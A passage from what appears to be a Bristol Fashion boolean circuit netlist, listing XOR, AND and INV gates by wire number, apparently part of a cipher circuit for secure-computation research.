8780 XOR +2 1 8779 8780 35720 XOR +2 1 35720 586 34075 XOR +2 1 8790 8791 35711 XOR +2 1 35711 595 34066 XOR +2 1 31142 31169 31138 XOR +2 1 31170 31138 31141 XOR +2 1 31140 31141 31244 XOR +2 1 31133 31138 31137 XOR +2 1 31136 31137 31243 XOR +2 1 31161 31135 31242 XOR +2 1 31151 31128 31127 XOR +2 1 31126 31127 35824 XOR +2 1 35824 35828 8928 XOR +2 1 35824 35820 8663 XOR +2 1 8937 8928 8796 XOR +2 1 35815 8796 35709 XOR +2 1 35709 597 34064 XOR +2 1 34064 34066 28440 XOR +2 1 8928 33213 8810 XOR +2 1 8810 8811 35701 XOR +2 1 35701 605 34056 XOR +2 1 8930 8928 8770 XOR +2 1 31189 31156 31125 XOR +2 1 31124 31125 35825 XOR +2 1 35825 35829 8923 XOR +2 1 8985 8923 35702 XOR +2 1 35702 604 34057 XOR +2 1 35825 8653 8665 XOR +2 1 34057 34056 30140 XOR +2 1 8784 8923 8794 XOR +2 1 8766 8923 8763 XOR +2 1 8794 8795 35710 XOR +2 1 35710 596 34065 XOR +2 1 34065 34064 28320 XOR +2 1 31152 31123 35827 XOR +2 1 35827 35831 8897 XOR +2 1 35823 35827 8905 XOR +1 1 8905 8666 INV +2 1 8666 35830 8664 XOR +2 1 8905 33213 8660 XOR +2 1 8938 8897 8775 XOR +2 1 8938 8905 8785 XOR +2 1 33214 8785 35715 XOR +2 1 35715 591 34070 XOR +2 1 8916 8897 8805 XOR +2 1 35823 8805 35706 XOR +2 1 35706 600 34061 XOR +2 1 34061 34056 30257 XOR +2 1 8897 35825 8771 XOR +2 1 8770 8771 35726 XOR +2 1 35726 580 34081 XOR +2 1 8897 8765 8764 XOR +2 1 8763 8764 35727 XOR +2 1 35727 579 34082 XOR +2 1 8897 33135 8786 XOR +2 1 8786 8787 35714 XOR +2 1 35714 592 34069 XOR +2 1 34066 34069 28438 XOR +2 1 34069 34064 28437 XOR +2 1 8905 35829 8662 XOR +2 1 8662 8663 8980 XOR +2 1 8980 8930 35718 XOR +2 1 35718 588 34073 XOR +2 1 31196 31237 31174 AND +2 1 31185 31174 31134 XOR +1 1 31134 31130 INV +2 1 31130 31131 31241 XOR +2 1 8984 8918 35703 XOR +2 1 35703 603 34058 XOR +2 1 34058 34061 30258 XOR +2 1 34056 34058 30260 XOR +2 1 8664 8665 8979 XOR +2 1 8979 8926 35719 XOR +2 1 35719 587 34074 XOR +2 1 33246 32791 7919 XOR +2 1 7919 7920 8203 XOR +2 1 8203 8195 35475 XOR +2 1 35475 758 33903 XOR +2 1 33903 33904 8417 XOR +2 1 33903 8493 8489 XOR +2 1 8493 8489 8476 AND +2 1 33909 33903 8496 XOR +2 1 8417 8490 8488 XOR +2 1 33903 33905 8400 XOR +2 1 33904 8400 8402 XOR +2 1 8400 8363 8485 XOR +2 1 8494 8485 8472 AND +2 1 8400 8495 8487 XOR +2 1 33908 8402 8484 XOR +2 1 8495 8484 8474 AND +2 1 8473 8474 8376 XOR +2 1 33907 8402 8481 XOR +2 1 8496 8481 8477 AND +2 1 8477 8401 8405 XOR +2 1 33902 8487 8486 XOR +2 1 8488 8486 8479 AND +2 1 8473 8479 8424 XOR +2 1 8407 8402 8483 XOR +2 1 8490 8483 8475 AND +2 1 8472 8475 8425 XOR +2 1 8473 8425 8419 XOR +2 1 8405 8425 8379 XOR +2 1 8472 8478 8429 XOR +2 1 8429 8401 8416 XOR +2 1 8424 8416 8468 XOR +2 1 8474 8402 8404 XOR +2 1 8379 8404 8469 XOR +2 1 8495 8417 8491 XOR +2 1 8487 8491 8480 AND +2 1 8480 8403 8406 XOR +2 1 8406 8404 8410 XOR +2 1 8410 8429 8378 XOR +2 1 33907 8378 8421 XOR +2 1 33909 8410 8415 XOR +2 1 8424 8415 8471 XOR +2 1 8376 8377 8423 XOR +2 1 8423 8405 8422 XOR +2 1 8476 8422 8470 XOR +2 1 8471 8470 8467 AND +2 1 8467 8421 8462 XOR +2 1 8467 8469 8466 XOR +2 1 8468 8466 8465 AND +2 1 8465 8421 8464 XOR +2 1 8465 8477 8370 XOR +2 1 8370 8406 8366 XOR +2 1 33907 8366 8365 XOR +2 1 33909 8366 8369 XOR +2 1 8464 8490 8434 AND +2 1 8464 8483 8443 AND +2 1 8465 8415 8367 XOR +2 1 8476 8419 8375 XOR +2 1 33903 8375 8463 XOR +2 1 8462 8463 8461 AND +2 1 8461 8478 8373 XOR +2 1 8373 8475 8368 XOR +2 1 8368 8369 8452 XOR +2 1 8452 8484 8442 AND +2 1 8452 8495 8433 AND +2 1 8461 8419 8374 XOR +2 1 8461 8469 8460 XOR +2 1 8460 8492 8437 AND +2 1 8460 33902 8446 AND +2 1 8467 8461 8459 XOR +2 1 8469 8459 8458 AND +2 1 8458 8466 8456 XOR +2 1 8464 8456 8455 AND +2 1 8455 8479 8372 XOR +2 1 8458 8476 8428 XOR +2 1 33903 8428 8411 XOR +2 1 8411 8374 8457 XOR +2 1 8457 8488 8438 AND +2 1 8457 8486 8447 AND +2 1 8411 8372 8364 XOR +2 1 8364 8365 8449 XOR +2 1 8449 8497 8432 AND +2 1 8449 8482 8441 AND +2 1 8401 8364 8371 XOR +2 1 8368 8371 8453 XOR +2 1 8453 8485 8440 AND +2 1 8453 8494 8431 AND +2 1 8442 8431 8391 XOR +2 1 8428 8422 8450 XOR +2 1 8450 8487 8448 AND +2 1 8450 8491 8439 AND +2 1 8432 8433 8426 XOR +2 1 8438 8426 8408 XOR +2 1 8439 8408 8409 XOR +2 1 8447 8409 8413 XOR +2 1 8446 8413 8382 XOR +2 1 8448 8413 8418 XOR +2 1 8441 8442 8392 XOR +2 1 8418 8392 8499 XOR +1 1 8499 35841 INV +2 1 33188 35841 8925 XOR +2 1 8925 33216 8723 XOR +1 1 8723 8721 INV +2 1 8499 33187 8748 XOR +2 1 8925 8921 8705 XOR +2 1 8925 8896 8732 XOR +2 1 35835 8732 35746 XOR +2 1 35746 560 34101 XOR +2 1 8747 8748 8746 XOR +1 1 8746 35737 INV +2 1 35737 569 34092 XOR +1 1 8391 8387 INV +2 1 8455 8424 8414 XOR +2 1 8414 8367 8451 XOR +2 1 8451 8481 8445 AND +2 1 8451 8496 8436 AND +2 1 8436 8440 8412 XOR +2 1 8414 8416 8454 XOR +2 1 8454 8489 8435 AND +2 1 8454 8493 8444 AND +2 1 8443 8435 8399 XOR +2 1 8444 8445 8430 XOR +2 1 8441 8430 8420 XOR +2 1 8442 8420 8380 XOR +2 1 8430 8418 35839 XOR +2 1 35839 35833 8674 XOR +2 1 8673 8674 8976 XOR +2 1 35834 35839 8939 XOR +1 1 8939 8709 INV +2 1 8709 8936 8707 XOR +2 1 8707 8708 35759 XOR +2 1 35759 547 34114 XOR +2 1 8939 8921 8734 XOR +2 1 33187 8734 35744 XOR +2 1 35744 562 34099 XOR +2 1 34099 34101 28204 XOR +2 1 35845 35839 8725 XOR +2 1 8441 8444 8396 XOR +2 1 8443 8444 8381 XOR +2 1 8437 8420 8386 XOR +1 1 8386 8383 INV +2 1 8445 8436 8397 XOR +1 1 8412 8390 INV +1 1 8396 8393 INV +2 1 8409 8380 35842 XOR +2 1 35842 35846 8903 XOR +2 1 35835 35842 8899 XOR +2 1 8958 8899 8743 XOR +2 1 33182 8743 35739 XOR +2 1 35739 567 34094 XOR +2 1 8903 33209 8675 XOR +1 1 8903 8680 INV +2 1 8680 35849 8681 XOR +2 1 8680 35848 8677 XOR +2 1 8390 8434 8389 XOR +2 1 8399 8426 8395 XOR +2 1 8390 8395 8394 XOR +2 1 8393 8394 8500 XOR +1 1 8500 35836 INV +2 1 8500 33182 8668 XOR +2 1 8667 8668 8978 XOR +2 1 8978 8950 35732 XOR +2 1 35732 574 34087 XOR +2 1 33189 8500 8727 XOR +2 1 8381 8382 35838 XOR +2 1 35833 35838 8947 XOR +1 1 8947 8712 INV +2 1 8712 8927 8735 XOR +1 1 35838 8672 INV +2 1 8672 35832 8671 XOR +2 1 8670 8671 8977 XOR +2 1 8977 8936 35734 XOR +2 1 35734 572 34089 XOR +2 1 35844 8672 8682 XOR +2 1 8681 8682 8973 XOR +2 1 8973 8939 35751 XOR +2 1 35751 555 34106 XOR +2 1 34087 34089 29883 XOR +2 1 8712 8946 8710 XOR +2 1 8710 8711 35758 XOR +2 1 35758 548 34113 XOR +2 1 8446 8448 8427 XOR +2 1 8427 8395 8398 XOR +2 1 8397 8398 8501 XOR +2 1 8389 8427 8385 XOR +2 1 8408 8385 8384 XOR +2 1 8383 8384 35837 XOR +2 1 35832 35837 8954 XOR +1 1 35837 8679 INV +2 1 35843 8679 8678 XOR +2 1 8679 33181 8756 XOR +2 1 8755 8756 35733 XOR +2 1 8677 8678 8974 XOR +1 1 8954 8728 INV +2 1 8728 35847 8726 XOR +2 1 8726 8727 35749 XOR +2 1 35749 557 34104 XOR +2 1 34104 34106 29840 XOR +2 1 8728 8936 8737 XOR +2 1 8433 8385 8388 XOR +2 1 8387 8388 8498 XOR +1 1 8498 35840 INV +2 1 33187 35840 8932 XOR +2 1 8932 8910 8733 XOR +2 1 33188 8733 35745 XOR +2 1 35745 561 34100 XOR +2 1 34094 34100 28210 XOR +2 1 28204 28210 28293 XOR +2 1 34099 28210 28296 XOR +2 1 8498 35834 8753 XOR +2 1 8752 8753 35736 XOR +2 1 35736 570 34091 XOR +2 1 33195 8498 8722 XOR +2 1 8721 8722 35753 XOR +2 1 35753 553 34108 XOR +2 1 34106 34108 29746 XOR +2 1 8932 33215 8724 XOR +2 1 8724 8725 35752 XOR +2 1 35752 554 34107 XOR +2 1 29746 34107 29705 XOR +2 1 8932 8927 8706 XOR +2 1 33195 8706 35760 XOR +2 1 35760 546 34115 XOR +2 1 8976 8927 35735 XOR +2 1 35735 571 34090 XOR +2 1 34090 34092 29886 XOR +2 1 29886 34091 29845 XOR +2 1 33181 35836 8961 XOR +2 1 8961 8958 8717 XOR +1 1 8717 8715 INV +2 1 8715 8716 35756 XOR +2 1 35756 550 34111 XOR +2 1 34111 34113 26803 XOR +2 1 8961 8946 8739 XOR +2 1 35832 8739 35741 XOR +2 1 35741 565 34096 XOR +2 1 34101 34096 28297 XOR +2 1 8954 8950 8713 XOR +2 1 35843 8713 35757 XOR +2 1 35757 549 34112 XOR +2 1 34112 26803 26805 XOR +2 1 34115 26805 26884 XOR +2 1 34111 34112 26820 XOR +2 1 34112 34114 26900 XOR +2 1 34113 34112 26780 XOR +2 1 33196 8705 35761 XOR +2 1 35761 545 34116 XOR +2 1 34116 26805 26887 XOR +2 1 34114 34116 26806 XOR +2 1 26806 34115 26765 XOR +2 1 8910 8899 8704 XOR +2 1 35846 8704 35762 XOR +2 1 35762 544 34117 XOR +2 1 34115 34117 26804 XOR +2 1 26804 26900 26885 XOR +2 1 34114 34117 26898 XOR +2 1 26898 26820 26894 XOR +2 1 26803 26898 26890 XOR +2 1 26806 26804 26766 XOR +2 1 26803 26766 26888 XOR +2 1 34117 34111 26899 XOR +2 1 34117 34112 26897 XOR +2 1 26890 26894 26883 AND +2 1 26883 26806 26809 XOR +2 1 26899 26884 26880 AND +2 1 26880 26804 26808 XOR +2 1 26898 26887 26877 AND +2 1 26877 26805 26807 XOR +2 1 26809 26807 26813 XOR +2 1 34117 26813 26818 XOR +2 1 26900 26885 26876 AND +2 1 26876 26877 26779 XOR +2 1 26779 26780 26826 XOR +2 1 26826 26808 26825 XOR +2 1 26897 26888 26875 AND +2 1 33196 8499 8720 XOR +2 1 35733 573 34088 XOR +2 1 34088 29883 29885 XOR +2 1 34092 29885 29967 XOR +2 1 34091 29885 29964 XOR +2 1 34087 34088 29900 XOR +2 1 34088 34090 29980 XOR +2 1 34089 34088 29860 XOR +1 1 8501 32811 INV +2 1 33182 32811 8962 XOR +2 1 8962 8896 8718 XOR +2 1 8962 8950 8741 XOR +2 1 33190 32811 8676 XOR +2 1 8962 8903 8729 XOR +2 1 8675 8676 8975 XOR +2 1 8975 8961 35748 XOR +2 1 35748 558 34103 XOR +2 1 33210 8729 35747 XOR +2 1 34103 34104 29760 XOR +2 1 33190 8718 35755 XOR +2 1 35755 551 34110 XOR +2 1 34110 26890 26889 XOR +2 1 34110 34116 26810 XOR +2 1 26810 26805 26886 XOR +2 1 26804 26810 26893 XOR +2 1 26820 26893 26891 XOR +2 1 34115 26810 26896 XOR +2 1 34111 26896 26892 XOR +2 1 34110 26765 26895 XOR +2 1 26891 26889 26882 AND +2 1 26876 26882 26827 XOR +2 1 26827 26818 26874 XOR +2 1 26895 34110 26881 AND +2 1 26875 26881 26832 XOR +2 1 26832 26804 26819 XOR +2 1 26827 26819 26871 XOR +2 1 26813 26832 26781 XOR +2 1 34115 26781 26824 XOR +2 1 26896 26892 26879 AND +2 1 26879 26825 26873 XOR +2 1 26893 26886 26878 AND +2 1 26875 26878 26828 XOR +2 1 26876 26828 26822 XOR +2 1 26808 26828 26782 XOR +2 1 26782 26807 26872 XOR +2 1 26879 26822 26778 XOR +2 1 34111 26778 26866 XOR +2 1 26874 26873 26870 AND +2 1 26870 26824 26865 XOR +2 1 26870 26872 26869 XOR +2 1 26871 26869 26868 AND +2 1 26868 26824 26867 XOR +2 1 26868 26880 26773 XOR +2 1 26773 26809 26769 XOR +2 1 34117 26769 26772 XOR +2 1 26868 26818 26770 XOR +2 1 34115 26769 26768 XOR +2 1 26865 26866 26864 AND +2 1 26864 26872 26863 XOR +2 1 26870 26864 26862 XOR +2 1 26864 26822 26777 XOR +2 1 26864 26881 26776 XOR +2 1 26776 26878 26771 XOR +2 1 26771 26772 26855 XOR +2 1 26872 26862 26861 AND +2 1 26861 26869 26859 XOR +2 1 26861 26879 26831 XOR +2 1 26831 26825 26853 XOR +2 1 34111 26831 26814 XOR +2 1 26814 26777 26860 XOR +2 1 26867 26859 26858 AND +2 1 26858 26827 26817 XOR +2 1 26817 26819 26857 XOR +2 1 26858 26882 26775 XOR +2 1 26814 26775 26767 XOR +2 1 26804 26767 26774 XOR +2 1 26771 26774 26856 XOR +2 1 26817 26770 26854 XOR +2 1 26767 26768 26852 XOR +2 1 26853 26890 26851 AND +2 1 26860 26889 26850 AND +2 1 26863 34110 26849 AND +2 1 26849 26851 26830 XOR +2 1 26854 26884 26848 AND +2 1 26857 26896 26847 AND +2 1 26847 26848 26833 XOR +2 1 26867 26886 26846 AND +2 1 26846 26847 26784 XOR +2 1 26855 26887 26845 AND +2 1 26852 26885 26844 AND +2 1 26844 26833 26823 XOR +2 1 26844 26847 26799 XOR +1 1 26799 26796 INV +2 1 26844 26845 26795 XOR +2 1 26845 26823 26783 XOR +2 1 26856 26888 26843 AND +2 1 26853 26894 26842 AND +2 1 26860 26891 26841 AND +2 1 26863 26895 26840 AND +2 1 26840 26823 26789 XOR +1 1 26789 26786 INV +2 1 26854 26899 26839 AND +2 1 26839 26843 26815 XOR +2 1 26848 26839 26800 XOR +1 1 26815 26793 INV +2 1 26857 26892 26838 AND +2 1 26846 26838 26802 XOR +2 1 26867 26893 26837 AND +2 1 26793 26837 26792 XOR +2 1 26792 26830 26788 XOR +2 1 26855 26898 26836 AND +2 1 26836 26788 26791 XOR +2 1 26852 26900 26835 AND +2 1 26835 26836 26829 XOR +2 1 26841 26829 26811 XOR +2 1 26842 26811 26812 XOR +2 1 26850 26812 26816 XOR +2 1 26851 26816 26821 XOR +2 1 26833 26821 36050 XOR +2 1 26802 26829 26798 XOR +2 1 26830 26798 26801 XOR +2 1 26800 26801 26904 XOR +2 1 26793 26798 26797 XOR +2 1 26796 26797 26903 XOR +2 1 26821 26795 26902 XOR +2 1 26811 26788 26787 XOR +2 1 26786 26787 36048 XOR +2 1 26849 26816 26785 XOR +2 1 26784 26785 36049 XOR +2 1 26812 26783 36051 XOR +2 1 26856 26897 26834 AND +2 1 26845 26834 26794 XOR +1 1 26794 26790 INV +2 1 26790 26791 26901 XOR +2 1 32811 8758 35731 XOR +2 1 35731 575 34086 XOR +2 1 34086 34092 29890 XOR +2 1 29890 29885 29966 XOR +2 1 34091 29890 29976 XOR +2 1 34087 29976 29972 XOR +2 1 34086 29845 29975 XOR +2 1 29975 34086 29961 AND +2 1 29976 29972 29959 AND +2 1 8974 8947 35750 XOR +2 1 35750 556 34105 XOR +2 1 34103 34105 29743 XOR +2 1 34104 29743 29745 XOR +2 1 34108 29745 29827 XOR +2 1 34107 29745 29824 XOR +2 1 34105 34104 29720 XOR +1 1 26904 33093 INV +1 1 26901 33098 INV +1 1 26902 33099 INV +1 1 26903 33100 INV +2 1 35842 33188 8745 XOR +2 1 8744 8745 35738 XOR +2 1 35738 568 34093 XOR +2 1 34091 34093 29884 XOR +2 1 29884 29980 29965 XOR +2 1 34090 34093 29978 XOR +2 1 29978 29900 29974 XOR +2 1 29884 29890 29973 XOR +2 1 29900 29973 29971 XOR +2 1 29883 29978 29970 XOR +2 1 34086 29970 29969 XOR +2 1 29886 29884 29846 XOR +2 1 29883 29846 29968 XOR +2 1 34093 34087 29979 XOR +2 1 34093 34088 29977 XOR +2 1 29970 29974 29963 AND +2 1 29963 29886 29889 XOR +2 1 29971 29969 29962 AND +2 1 29979 29964 29960 AND +2 1 29960 29884 29888 XOR +2 1 29973 29966 29958 AND +2 1 29978 29967 29957 AND +2 1 29957 29885 29887 XOR +2 1 29889 29887 29893 XOR +2 1 34093 29893 29898 XOR +2 1 29980 29965 29956 AND +2 1 29956 29962 29907 XOR +2 1 29907 29898 29954 XOR +2 1 29956 29957 29859 XOR +2 1 29859 29860 29906 XOR +2 1 29906 29888 29905 XOR +2 1 29959 29905 29953 XOR +2 1 29977 29968 29955 AND +2 1 29955 29958 29908 XOR +2 1 29955 29961 29912 XOR +2 1 29912 29884 29899 XOR +2 1 29907 29899 29951 XOR +2 1 29956 29908 29902 XOR +2 1 29888 29908 29862 XOR +2 1 29862 29887 29952 XOR +2 1 29893 29912 29861 XOR +2 1 34091 29861 29904 XOR +2 1 29959 29902 29858 XOR +2 1 34087 29858 29946 XOR +2 1 29954 29953 29950 AND +2 1 29950 29904 29945 XOR +2 1 29950 29952 29949 XOR +2 1 29951 29949 29948 AND +2 1 29948 29904 29947 XOR +2 1 29948 29960 29853 XOR +2 1 29853 29889 29849 XOR +2 1 34093 29849 29852 XOR +2 1 29948 29898 29850 XOR +2 1 34091 29849 29848 XOR +2 1 29945 29946 29944 AND +2 1 29944 29952 29943 XOR +2 1 29950 29944 29942 XOR +2 1 29944 29902 29857 XOR +2 1 29944 29961 29856 XOR +2 1 29856 29958 29851 XOR +2 1 29851 29852 29935 XOR +2 1 29952 29942 29941 AND +2 1 29941 29949 29939 XOR +2 1 29941 29959 29911 XOR +2 1 29911 29905 29933 XOR +2 1 34087 29911 29894 XOR +2 1 29894 29857 29940 XOR +2 1 29947 29939 29938 AND +2 1 29938 29907 29897 XOR +2 1 29897 29899 29937 XOR +2 1 29938 29962 29855 XOR +2 1 29894 29855 29847 XOR +2 1 29884 29847 29854 XOR +2 1 29851 29854 29936 XOR +2 1 29897 29850 29934 XOR +2 1 29847 29848 29932 XOR +2 1 29933 29970 29931 AND +2 1 29940 29969 29930 AND +2 1 29943 34086 29929 AND +2 1 29929 29931 29910 XOR +2 1 29934 29964 29928 AND +2 1 29937 29976 29927 AND +2 1 29927 29928 29913 XOR +2 1 29947 29966 29926 AND +2 1 29926 29927 29864 XOR +2 1 29935 29967 29925 AND +2 1 29932 29965 29924 AND +2 1 29924 29913 29903 XOR +2 1 29924 29927 29879 XOR +1 1 29879 29876 INV +2 1 29924 29925 29875 XOR +2 1 29925 29903 29863 XOR +2 1 29936 29968 29923 AND +2 1 29933 29974 29922 AND +2 1 29940 29971 29921 AND +2 1 29943 29975 29920 AND +2 1 29920 29903 29869 XOR +1 1 29869 29866 INV +2 1 29934 29979 29919 AND +2 1 29919 29923 29895 XOR +2 1 29928 29919 29880 XOR +1 1 29895 29873 INV +2 1 29937 29972 29918 AND +2 1 29926 29918 29882 XOR +2 1 29947 29973 29917 AND +2 1 29873 29917 29872 XOR +2 1 29872 29910 29868 XOR +2 1 29935 29978 29916 AND +2 1 29916 29868 29871 XOR +2 1 29932 29980 29915 AND +2 1 29915 29916 29909 XOR +2 1 29921 29909 29891 XOR +2 1 29922 29891 29892 XOR +2 1 29930 29892 29896 XOR +2 1 29931 29896 29901 XOR +2 1 29913 29901 36018 XOR +2 1 29882 29909 29878 XOR +2 1 29910 29878 29881 XOR +2 1 29880 29881 29984 XOR +2 1 29873 29878 29877 XOR +2 1 29876 29877 29983 XOR +2 1 29901 29875 29982 XOR +2 1 29891 29868 29867 XOR +2 1 29866 29867 36016 XOR +2 1 29929 29896 29865 XOR +2 1 29864 29865 36017 XOR +2 1 29892 29863 36019 XOR +2 1 29936 29977 29914 AND +2 1 29925 29914 29874 XOR +1 1 29874 29870 INV +2 1 29870 29871 29981 XOR +1 1 29984 33161 INV +1 1 29981 33166 INV +1 1 29982 33167 INV +2 1 36019 33167 9274 XOR +1 1 29983 33168 INV +1 1 31243 33197 INV +2 1 33197 33213 8931 XOR +2 1 8986 8931 35700 XOR +2 1 35700 606 34055 XOR +2 1 34055 34057 30163 XOR +2 1 34056 30163 30165 XOR +2 1 30163 30258 30250 XOR +2 1 34055 34056 30180 XOR +2 1 30258 30180 30254 XOR +2 1 34061 34055 30259 XOR +2 1 30250 30254 30243 AND +2 1 33197 28723 8783 XOR +2 1 8782 8783 35717 XOR +2 1 35717 589 34072 XOR +2 1 34072 34074 30120 XOR +2 1 34073 34072 30000 XOR +2 1 8933 8931 8772 XOR +2 1 35824 8772 35725 XOR +2 1 35725 581 34080 XOR +2 1 8897 33197 8774 XOR +2 1 8938 8931 8798 XOR +2 1 8798 8799 8797 XOR +1 1 8797 35708 INV +2 1 35708 598 34063 XOR +2 1 34063 34065 28343 XOR +2 1 34064 28343 28345 XOR +2 1 28343 28438 28430 XOR +2 1 34063 34064 28360 XOR +2 1 28438 28360 28434 XOR +2 1 34069 34063 28439 XOR +2 1 28430 28434 28423 AND +2 1 34081 34080 9006 XOR +2 1 34080 34082 9126 XOR +1 1 31244 33198 INV +2 1 33198 8775 35723 XOR +2 1 35723 583 34078 XOR +2 1 33198 33136 8661 XOR +2 1 8660 8661 8981 XOR +2 1 33198 33214 8935 XOR +2 1 8935 8898 8800 XOR +2 1 33047 8800 35707 XOR +2 1 35707 599 34062 XOR +2 1 34062 28430 28429 XOR +2 1 8937 8935 8773 XOR +2 1 8773 8774 35724 XOR +2 1 35724 582 34079 XOR +2 1 8935 8907 8812 XOR +2 1 33136 8812 35699 XOR +2 1 35699 607 34054 XOR +2 1 34054 30250 30249 XOR +2 1 34079 34081 9029 XOR +2 1 34079 34080 9046 XOR +2 1 34080 9029 9031 XOR +2 1 8981 8937 35716 XOR +2 1 35716 590 34071 XOR +2 1 34071 34073 30023 XOR +2 1 34072 30023 30025 XOR +2 1 34075 30025 30104 XOR +2 1 34071 34072 30040 XOR +1 1 31241 33203 INV +2 1 33203 33219 8913 XOR +2 1 8913 35830 8808 XOR +2 1 8926 8913 8789 XOR +2 1 33203 8762 35728 XOR +2 1 35728 578 34083 XOR +2 1 8808 8809 35704 XOR +2 1 35704 602 34059 XOR +2 1 34059 30165 30244 XOR +2 1 34059 34061 30164 XOR +2 1 30164 30260 30245 XOR +2 1 30259 30244 30240 AND +2 1 30240 30164 30168 XOR +2 1 30260 30245 30236 AND +2 1 8916 33203 8777 XOR +2 1 8777 8778 35721 XOR +2 1 35721 585 34076 XOR +2 1 34076 30025 30107 XOR +2 1 34074 34076 30026 XOR +2 1 34070 34076 30030 XOR +2 1 30030 30025 30106 XOR +2 1 34075 30030 30116 XOR +2 1 34071 30116 30112 XOR +2 1 30026 34075 29985 XOR +2 1 34070 29985 30115 XOR +2 1 30115 34070 30101 AND +2 1 30116 30112 30099 AND +2 1 33052 8789 35712 XOR +2 1 35712 594 34067 XOR +2 1 34067 28345 28424 XOR +2 1 34067 34069 28344 XOR +2 1 28344 28440 28425 XOR +2 1 28439 28424 28420 AND +2 1 28420 28344 28348 XOR +2 1 28440 28425 28416 AND +2 1 34083 9031 9110 XOR +1 1 31242 33204 INV +2 1 33135 33204 8915 XOR +2 1 8915 33220 8806 XOR +2 1 8806 8807 35705 XOR +2 1 35705 601 34060 XOR +2 1 34060 30165 30247 XOR +2 1 34058 34060 30166 XOR +2 1 30243 30166 30169 XOR +2 1 34054 34060 30170 XOR +2 1 30170 30165 30246 XOR +2 1 30164 30170 30253 XOR +2 1 30180 30253 30251 XOR +2 1 34059 30170 30256 XOR +2 1 34055 30256 30252 XOR +2 1 30166 30164 30126 XOR +2 1 30163 30126 30248 XOR +2 1 30166 34059 30125 XOR +2 1 34054 30125 30255 XOR +2 1 30251 30249 30242 AND +2 1 30236 30242 30187 XOR +2 1 30255 34054 30241 AND +2 1 30256 30252 30239 AND +2 1 30253 30246 30238 AND +2 1 30258 30247 30237 AND +2 1 30237 30165 30167 XOR +2 1 30169 30167 30173 XOR +2 1 34061 30173 30178 XOR +2 1 30187 30178 30234 XOR +2 1 30236 30237 30139 XOR +2 1 30139 30140 30186 XOR +2 1 30186 30168 30185 XOR +2 1 30239 30185 30233 XOR +2 1 30257 30248 30235 AND +2 1 30235 30238 30188 XOR +2 1 30235 30241 30192 XOR +2 1 30192 30164 30179 XOR +2 1 30187 30179 30231 XOR +2 1 30236 30188 30182 XOR +2 1 30168 30188 30142 XOR +2 1 30142 30167 30232 XOR +2 1 30173 30192 30141 XOR +2 1 34059 30141 30184 XOR +2 1 30239 30182 30138 XOR +2 1 34055 30138 30226 XOR +2 1 30234 30233 30230 AND +2 1 30230 30184 30225 XOR +2 1 30230 30232 30229 XOR +2 1 30231 30229 30228 AND +2 1 30228 30184 30227 XOR +2 1 30228 30240 30133 XOR +2 1 30133 30169 30129 XOR +2 1 34061 30129 30132 XOR +2 1 30228 30178 30130 XOR +2 1 34059 30129 30128 XOR +2 1 30225 30226 30224 AND +2 1 30224 30232 30223 XOR +2 1 30230 30224 30222 XOR +2 1 30224 30182 30137 XOR +2 1 30224 30241 30136 XOR +2 1 30136 30238 30131 XOR +2 1 30131 30132 30215 XOR +2 1 30232 30222 30221 AND +2 1 30221 30229 30219 XOR +2 1 30221 30239 30191 XOR +2 1 30191 30185 30213 XOR +2 1 34055 30191 30174 XOR +2 1 30174 30137 30220 XOR +2 1 30227 30219 30218 AND +2 1 30218 30187 30177 XOR +2 1 30177 30179 30217 XOR +2 1 30218 30242 30135 XOR +2 1 30174 30135 30127 XOR +2 1 30164 30127 30134 XOR +2 1 30131 30134 30216 XOR +2 1 30177 30130 30214 XOR +2 1 30127 30128 30212 XOR +2 1 30213 30250 30211 AND +2 1 30220 30249 30210 AND +2 1 30223 34054 30209 AND +2 1 30209 30211 30190 XOR +2 1 30214 30244 30208 AND +2 1 30217 30256 30207 AND +2 1 30207 30208 30193 XOR +2 1 30227 30246 30206 AND +2 1 30206 30207 30144 XOR +2 1 30215 30247 30205 AND +2 1 30212 30245 30204 AND +2 1 30204 30193 30183 XOR +2 1 30204 30207 30159 XOR +1 1 30159 30156 INV +2 1 30204 30205 30155 XOR +2 1 30205 30183 30143 XOR +2 1 30216 30248 30203 AND +2 1 30213 30254 30202 AND +2 1 30220 30251 30201 AND +2 1 30223 30255 30200 AND +2 1 30200 30183 30149 XOR +1 1 30149 30146 INV +2 1 30214 30259 30199 AND +2 1 30199 30203 30175 XOR +2 1 30208 30199 30160 XOR +1 1 30175 30153 INV +2 1 30217 30252 30198 AND +2 1 30206 30198 30162 XOR +2 1 30227 30253 30197 AND +2 1 30153 30197 30152 XOR +2 1 30152 30190 30148 XOR +2 1 30215 30258 30196 AND +2 1 30196 30148 30151 XOR +2 1 30212 30260 30195 AND +2 1 30195 30196 30189 XOR +2 1 30201 30189 30171 XOR +2 1 30202 30171 30172 XOR +2 1 30210 30172 30176 XOR +2 1 30211 30176 30181 XOR +2 1 30193 30181 35998 XOR +2 1 30162 30189 30158 XOR +2 1 30190 30158 30161 XOR +2 1 30160 30161 30264 XOR +2 1 30153 30158 30157 XOR +2 1 30156 30157 30263 XOR +2 1 30181 30155 30262 XOR +2 1 30171 30148 30147 XOR +2 1 30146 30147 35996 XOR +2 1 30209 30176 30145 XOR +2 1 30144 30145 35997 XOR +2 1 30172 30143 35999 XOR +2 1 30216 30257 30194 AND +2 1 30205 30194 30154 XOR +1 1 30154 30150 INV +2 1 30150 30151 30261 XOR +2 1 35999 36015 9393 XOR +1 1 9393 9289 INV +2 1 9393 35997 9135 XOR +2 1 8915 8898 8776 XOR +2 1 35831 8776 35722 XOR +2 1 35722 584 34077 XOR +2 1 34075 34077 30024 XOR +2 1 30024 30120 30105 XOR +2 1 34074 34077 30118 XOR +2 1 30118 30040 30114 XOR +2 1 30024 30030 30113 XOR +2 1 30040 30113 30111 XOR +2 1 30023 30118 30110 XOR +2 1 34070 30110 30109 XOR +2 1 30026 30024 29986 XOR +2 1 30023 29986 30108 XOR +2 1 34077 34071 30119 XOR +2 1 34077 34072 30117 XOR +2 1 30110 30114 30103 AND +2 1 30103 30026 30029 XOR +2 1 30111 30109 30102 AND +2 1 30119 30104 30100 AND +2 1 30100 30024 30028 XOR +2 1 30113 30106 30098 AND +2 1 30118 30107 30097 AND +2 1 30097 30025 30027 XOR +2 1 30029 30027 30033 XOR +2 1 34077 30033 30038 XOR +2 1 30120 30105 30096 AND +2 1 30096 30102 30047 XOR +2 1 30047 30038 30094 XOR +2 1 30096 30097 29999 XOR +2 1 29999 30000 30046 XOR +2 1 30046 30028 30045 XOR +2 1 30099 30045 30093 XOR +2 1 30117 30108 30095 AND +2 1 30095 30098 30048 XOR +2 1 30095 30101 30052 XOR +2 1 30052 30024 30039 XOR +2 1 30047 30039 30091 XOR 